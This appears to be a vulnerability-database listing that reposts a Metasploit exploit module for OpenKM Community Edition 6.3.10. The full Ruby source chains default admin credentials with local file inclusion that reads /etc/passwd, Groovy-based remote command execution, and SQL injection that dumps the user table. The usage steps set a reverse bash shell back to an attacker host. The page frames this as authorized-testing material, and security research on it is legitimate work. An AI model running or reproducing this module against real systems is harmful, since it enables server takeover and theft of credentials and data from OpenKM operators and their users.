Lucene search
K

📄 OpenKM Community Edition 6.3.10 Code Execution / LFI / SQL Injection

🗓️ 23 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 113 Views

OpenKM Community Edition 6.3.10 exploits LFI, RCE via Groovy, and SQL injection with admin credentials.

Code
=============================================================================================================================================
    | # Title     : OpenKM Community Edition 6.3.10 Multiple Vulnerabilities Exploit Module (Metasploit)                                        |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.openkm.com/                                                                                                     |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/214050/ &  
    
    [+] Summary    : This Metasploit module targets multiple vulnerabilities in the OpenKM document management system. It includes capabilities for:
    
                     Local File Inclusion (LFI) via the Scripting module.
    
                     Remote Code Execution (RCE) through Groovy script evaluation.
    
                     SQL Injection (SQLi) via the DatabaseQuery module.
    
    The module was designed for OpenKM Community Edition 6.3.10 but can serve as a proof-of-concept for other vulnerable versions. 
    It requires authentication with admin-level credentials for most attacks. The module demonstrates exploitation techniques for research and testing purposes. 
    It is primarily a PoC and not guaranteed to succeed in all environments, depending on configuration, patching, and security hardening.
    
    
    [+] Notes:
    
    LFI requires the Scripting module and valid CSRF token.
    
    RCE executes commands through Groovy; restricted environments may prevent exploitation.
    
    SQLi works if the DatabaseQuery module is accessible and unrestricted.
    
    This module is intended for lab testing, research, or authorized penetration testing only.
    
    [+] Impact: Unauthorized reading of files, remote command execution, and data disclosure from SQL injection.
    
    [+] POC :
    
    # Test scan only
    
    msfconsole
    use exploit/multi/http/openkm_vulns
    set RHOSTS target_ip
    set RPORT 8080
    check
    
    # Test LFI
    
    set EXPLOIT_TYPE LFI
    set LFI_FILE /etc/passwd
    run
    
    # Test RCE (without payload)
    
    set EXPLOIT_TYPE RCE
    run
    
    # Test RCE (with payload)
    
    set EXPLOIT_TYPE RCE
    set PAYLOAD cmd/unix/reverse_bash
    set LHOST attacker_ip
    exploit
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'OpenKM Multiple Vulnerabilities Exploit',
          'Description'    => %q{
            This module exploits multiple vulnerabilities in OpenKM document management system.
            Vulnerabilities include:
            1. Local File Inclusion (LFI) in Scripting module
            2. Remote Code Execution (RCE) via Groovy scripting
            3. SQL Injection in DatabaseQuery module
            
            Tested on OpenKM Community Edition 6.3.10
          },
          'License'        => MSF_LICENSE,
          'Author'         => [
          'indoushka' # Module conversion
          ],
          'References'     => [
            ['CVE', 'CVE-2024-XXXXX'],
            ['URL', 'https://terrasystemlabs.com/research']
          ],
          'Platform'       => ['unix', 'linux'],
          'Arch'           => ARCH_CMD,
          'Payload'        => {
            'Space'       => 2048,
            'DisableNops' => true,
            'Compat'      => {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat bash perl python'
            }
          },
          'Targets'        => [
            ['Automatic', {}]
          ],
          'DefaultTarget'  => 0,
          'DefaultOptions' => {
            'SSL'          => false,
            'RPORT'        => 8080
          },
          'DisclosureDate' => '2024-01-01',
          'Notes'          => {
            'Stability'   => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
          }
        ))
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to OpenKM', '/OpenKM']),
          OptString.new('USERNAME', [true, 'Username to authenticate', 'okmAdmin']),
          OptString.new('PASSWORD', [true, 'Password to authenticate', 'admin']),
          OptEnum.new('EXPLOIT_TYPE', [
            true, 'Type of exploit to use', 'RCE', 
            ['LFI', 'RCE', 'SQLI']
          ]),
          OptString.new('LFI_FILE', [false, 'File to read for LFI exploit', '/etc/passwd']),
          OptString.new('SQL_QUERY', [false, 'SQL query to execute', 'SELECT * FROM OKM_USER'])
        ])
      end
    
      def check
        print_status("Checking if target is OpenKM and vulnerable...")
        
        # Check 1: Version detection via GWT RPC
        version_info = get_version
        if version_info
          print_good("Detected OpenKM version: #{version_info}")
          return Exploit::CheckCode::Appears
        end
        
        # Check 2: Try to access login page
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri(target_uri.path, 'index.jsp')
        })
        
        if res && res.code == 200 && res.body.include?('OpenKM')
          print_warning("OpenKM detected but version check failed")
          return Exploit::CheckCode::Detected
        end
        
        Exploit::CheckCode::Safe
      end
    
      def get_version
        uri = normalize_uri(target_uri.path, 'frontend', 'Workspace')
        
        res = send_request_cgi({
          'method' => 'POST',
          'uri'    => uri,
          'headers' => {
            'Content-Type' => 'text/x-gwt-rpc; charset=utf-8',
            'X-GWT-Module-Base' => "#{get_uri}frontend/"
          },
          'data'   => "7|0|4|#{get_uri}frontend/|42DC97C6A4E30E734F8CCD1FE2250214|com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|"
        })
    
        if res && res.code == 200 && res.body.include?('//OK')
          # Parse version from response
          if res.body =~ /com\.openkm\.frontend\.client\.bean\.GWTAppVersion/
            version_match = res.body.scan(/"(\d+\.\d+\.\d+)"/).flatten.first
            return version_match if version_match
          end
          return "Unknown (GWT response detected)"
        end
        nil
      end
    
      def login
        print_status("Attempting to login with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
        
        # First get the login page for session
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri(target_uri.path, 'login.jsp')
        })
        
        return false unless res
        
        # Perform login
        res = send_request_cgi({
          'method'    => 'POST',
          'uri'       => normalize_uri(target_uri.path, 'j_spring_security_check'),
          'vars_post' => {
            'j_username' => datastore['USERNAME'],
            'j_password' => datastore['PASSWORD'],
            'j_language' => 'en-GB',
            'submit' => ''
          },
          'headers'   => {
            'Referer' => "#{get_uri}#{normalize_uri(target_uri.path, 'login.jsp')}"
          }
        })
    
        if res && (res.code == 302 || res.code == 200)
          # Check if we're redirected to dashboard
          if res.headers['Location'] && !res.headers['Location'].include?('error')
            print_good("Login successful")
            @cookie = res.get_cookies
            return true
          elsif res.code == 200 && res.body.include?('Dashboard')
            print_good("Login successful (no redirect)")
            @cookie = res.get_cookies
            return true
          end
        end
        
        print_error("Login failed")
        false
      end
    
      def get_csrf_token
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri(target_uri.path, 'admin', 'Scripting'),
          'cookie' => @cookie
        })
        
        return nil unless res && res.code == 200
        
        # Extract CSRF token
        if res.body =~ /name="csrft"\s+value="([^"]+)"/
          return Regexp.last_match(1)
        end
        
        nil
      end
    
      def exploit_lfi(file_path)
        print_status("Attempting LFI exploit for file: #{file_path}")
        
        csrf_token = get_csrf_token
        unless csrf_token
          print_error("Could not obtain CSRF token")
          return false
        end
        
        res = send_request_cgi({
          'method'    => 'POST',
          'uri'       => normalize_uri(target_uri.path, 'admin', 'Scripting'),
          'cookie'    => @cookie,
          'vars_post' => {
            'csrft'   => csrf_token,
            'script'  => '',
            'fsPath'  => file_path,
            'action'  => 'Load'
          }
        })
        
        if res && res.code == 200
          # Extract content from textarea
          if res.body =~ /<textarea[^>]*id="script"[^>]*>([\s\S]*?)<\/textarea>/
            content = Regexp.last_match(1).strip
            if !content.empty?
              print_good("Successfully read file:")
              print_line(content)
              
              # Save to loot
              loot_path = store_loot(
                'openkm.lfi.data',
                'text/plain',
                rhost,
                content,
                file_path,
                'OpenKM LFI Exploit'
              )
              print_good("File saved to: #{loot_path}")
              return true
            end
          end
        end
        
        print_error("LFI exploit failed")
        false
      end
    
      def exploit_rce(cmd)
        print_status("Attempting RCE with command: #{cmd}")
        
        csrf_token = get_csrf_token
        unless csrf_token
          print_error("Could not obtain CSRF token")
          return false
        end
        
        # Groovy script for command execution
        groovy_script = <<~GROOVY
          def cmd = "#{cmd.gsub('"', '\\"')}"
          def process = cmd.execute()
          def output = process.text
          print("CMD_OUTPUT:" + output)
        GROOVY
        
        res = send_request_cgi({
          'method'    => 'POST',
          'uri'       => normalize_uri(target_uri.path, 'admin', 'Scripting'),
          'cookie'    => @cookie,
          'vars_post' => {
            'csrft'   => csrf_token,
            'script'  => groovy_script,
            'fsPath'  => '',
            'action'  => 'Evaluate'
          }
        })
        
        if res && res.code == 200
          if res.body.include?('CMD_OUTPUT:')
            # Extract command output
            output = res.body.split('CMD_OUTPUT:').last
            output = output.split('<').first.strip if output.include?('<')
            
            print_good("Command executed successfully:")
            print_line(output)
            
            # Save to loot
            loot_path = store_loot(
              'openkm.rce.output',
              'text/plain',
              rhost,
              output,
              "Command: #{cmd}",
              'OpenKM RCE Exploit'
            )
            print_good("Output saved to: #{loot_path}")
            return true
          end
        end
        
        print_error("RCE exploit failed")
        false
      end
    
      def exploit_sqli(query)
        print_status("Attempting SQL Injection with query: #{query}")
        
        # Construct multipart form data for SQL query
        boundary = "----WebKitFormBoundary#{rand(36**20).to_s(36)}"
        
        post_data = "--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"qs\"\r\n\r\n"
        post_data << "#{query};\r\n"
        post_data << "--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"tables\"\r\n\r\n"
        post_data << "OKM_USER\r\n"
        post_data << "--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"vtables\"\r\n\r\n\r\n"
        post_data << "--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"type\"\r\n\r\n"
        post_data << "jdbc\r\n"
        post_data << "--#{boundary}--\r\n"
        
        res = send_request_cgi({
          'method'  => 'POST',
          'uri'     => normalize_uri(target_uri.path, 'admin', 'DatabaseQuery'),
          'cookie'  => @cookie,
          'headers' => {
            'Content-Type' => "multipart/form-data; boundary=#{boundary}"
          },
          'data'    => post_data
        })
        
        if res && res.code == 200
          # Parse HTML table results
          if res.body.include?('<table class="results-old">')
            # Extract table data
            require 'nokogiri'
            doc = Nokogiri::HTML(res.body)
            table = doc.at('table.results-old')
            
            if table
              print_good("SQL query executed successfully")
              
              # Extract and display data
              rows = table.search('tr')
              headers = rows.first.search('th, td').map(&:text)
              
              # Print table
              table_data = []
              rows[1..-1].each do |row|
                cells = row.search('td').map(&:text)
                table_data << cells
                print_line(cells.join(' | '))
              end
              
              # Save to loot
              loot_content = "Query: #{query}\n\n"
              loot_content << headers.join(' | ') + "\n"
              table_data.each { |row| loot_content << row.join(' | ') + "\n" }
              
              loot_path = store_loot(
                'openkm.sqli.results',
                'text/plain',
                rhost,
                loot_content,
                'sql_results.txt',
                'OpenKM SQL Injection Exploit'
              )
              print_good("Results saved to: #{loot_path}")
              return true
            end
          end
        end
        
        print_error("SQL Injection exploit failed")
        false
      end
    
      def exploit
        # Main exploit method
        print_status("Starting OpenKM exploit module")
        
        # Check if target is vulnerable
        check_code = check
        unless check_code == Exploit::CheckCode::Appears || datastore['ForceExploit']
          fail_with(Failure::NotVulnerable, 'Target does not appear to be vulnerable')
        end
        
        # Login
        unless login
          fail_with(Failure::NoAccess, 'Authentication failed')
        end
        
        # Execute based on exploit type
        case datastore['EXPLOIT_TYPE']
        when 'LFI'
          file = datastore['LFI_FILE'] || '/etc/passwd'
          success = exploit_lfi(file)
          
        when 'RCE'
          # Use payload if provided, otherwise use datastore command
          cmd = payload.encoded || 'whoami'
          success = exploit_rce(cmd)
          
          if success && payload.encoded
            print_good("Shell payload delivered successfully")
            handler
          end
          
        when 'SQLI'
          query = datastore['SQL_QUERY'] || 'SELECT * FROM OKM_USER'
          success = exploit_sqli(query)
          
        else
          fail_with(Failure::BadConfig, "Invalid exploit type: #{datastore['EXPLOIT_TYPE']}")
        end
        
        # Report vulnerability
        if success
          report_vuln(
            host: rhost,
            port: rport,
            name: self.name,
            refs: self.references,
            info: "Exploited via #{datastore['EXPLOIT_TYPE']}"
          )
        end
        
        success
      end
    
      def get_uri
        proto = datastore['SSL'] ? 'https://' : 'http://'
        "#{proto}#{rhost}:#{rport}"
      end
    end
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation